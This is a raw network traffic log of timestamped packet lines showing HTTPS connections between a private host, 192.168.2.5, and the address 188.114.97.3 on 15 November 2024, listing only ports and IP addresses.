Nov 15, 2024 01:01:00.980318069 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.980513096 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.980593920 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.980622053 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.980647087 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.980957985 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.981018066 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.981028080 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.981095076 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.981106043 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.981980085 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.982068062 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.982117891 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.982126951 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.982218981 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.982264996 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.982270956 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:00.982307911 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:00.982547998 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.030903101 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.030920982 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.077778101 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.136485100 CET	443	49724	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.141891956 CET	49724	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.141957045 CET	443	49724	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.142014980 CET	49724	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.142035961 CET	443	49724	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204274893 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204472065 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204523087 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.204531908 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204637051 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204683065 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.204689980 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204796076 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204847097 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.204853058 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.204996109 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205082893 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205130100 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.205136061 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205179930 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.205184937 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205476046 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205560923 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205607891 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.205615044 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205651999 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.205657005 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.205997944 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.206046104 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.206053972 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.249655008 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.249660015 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.296546936 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.428585052 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.428622007 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.428689003 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.428744078 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.428797960 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.428805113 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.428845882 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.429452896 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.429477930 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.429531097 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.430179119 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.430197001 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.430236101 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.430250883 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.431132078 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.431149960 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.431196928 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.431258917 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.431317091 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.431324959 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.431365967 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.432096004 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.432157993 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.432173967 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.432216883 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.655152082 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.655255079 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.655394077 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.655453920 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.656187057 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.656259060 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.656269073 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.656307936 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.656341076 CET	443	49716	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.656390905 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.664058924 CET	49716	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.848608017 CET	443	49724	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.848762989 CET	443	49724	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:01.848831892 CET	49724	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:01.849036932 CET	49724	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:05.503153086 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:05.503197908 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:05.503326893 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:05.551338911 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:05.551366091 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.403642893 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.403769016 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:06.452430010 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:06.452455997 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.453434944 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.463213921 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:06.507338047 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897672892 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897727966 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897778034 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897808075 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897825003 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:06.897854090 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:06.897874117 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.103353977 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.103513002 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.130814075 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.130969048 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.131042957 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.131050110 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.131400108 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.131458044 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.131464005 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.131604910 CET	443	49755	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.131725073 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.158976078 CET	49755	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.409976006 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.410036087 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:07.410146952 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.410393953 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:07.410410881 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.029459953 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.032241106 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:08.032275915 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.032327890 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:08.032336950 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.682096004 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.682260036 CET	443	49767	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:08.682502985 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:08.682832003 CET	49767	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:20.494066954 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:20.494174004 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:20.494499922 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:20.494698048 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:20.494733095 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.104643106 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.106137037 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.106177092 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.106434107 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.106446981 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.784733057 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.784883022 CET	443	49813	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.784956932 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.785233021 CET	49813	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.850564957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.850574970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:21.850642920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.866220951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:21.866235971 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:22.493500948 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:22.494940996 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:22.494961977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.161505938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.161633015 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.161683083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.161694050 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.161761045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.161804914 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.161813974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.284010887 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.284019947 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388068914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388151884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.388164043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388197899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388322115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388336897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.388356924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388448954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388494015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.388503075 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.388554096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.388756037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.530946016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.530953884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622436047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622492075 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.622524023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622659922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622725964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622730017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.622757912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622915983 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.622967005 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.622977018 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.623023033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.623029947 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.623531103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.623585939 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.623595953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.623672009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.623718977 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.623727083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.827825069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.851995945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852235079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852277994 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.852303982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852402925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852463007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852504015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.852530003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852719069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.852727890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852756023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852794886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.852842093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.852992058 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.853028059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.853039980 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.853423119 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.853475094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.853485107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.853564978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.853614092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.853622913 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.854031086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.854079962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:23.854090929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:23.854252100 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.075416088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.075467110 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.075591087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.075609922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.075643063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.075735092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.075840950 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.075855970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076354980 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076488972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.076498032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076735020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076836109 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076857090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076873064 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.076884031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.076931953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.077584982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.077595949 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.124699116 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.222037077 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.298388004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.298423052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.298495054 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.298624039 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.298749924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.298775911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.298784971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.298963070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299006939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299041986 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.299182892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299252987 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.299263954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299388885 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299706936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299747944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.299761057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299809933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299868107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.299892902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.299958944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.300086975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.300699949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.434510946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.534125090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534212112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.534257889 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534368038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534471035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534502983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.534517050 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534565926 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534600973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.534610033 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534718037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.534801960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.534811974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535108089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535173893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.535185099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535217047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535376072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535557985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.535568953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.535981894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.536684036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.536698103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.537204027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.544647932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.733026028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768043041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768249989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768296003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768297911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768331051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768335104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768357038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768537045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768763065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768834114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768850088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768883944 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.768950939 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.768959999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769385099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769467115 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.769475937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769504070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769542933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.769576073 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.769857883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769958019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.769969940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.769979954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.770046949 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.770121098 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.770149946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.770159006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.770265102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.792668104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.801208019 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.994596958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.994705915 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.995101929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.995125055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.995165110 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.995203972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.995217085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.995569944 CET	443	49868	188.114.97.3	192.168.2.5
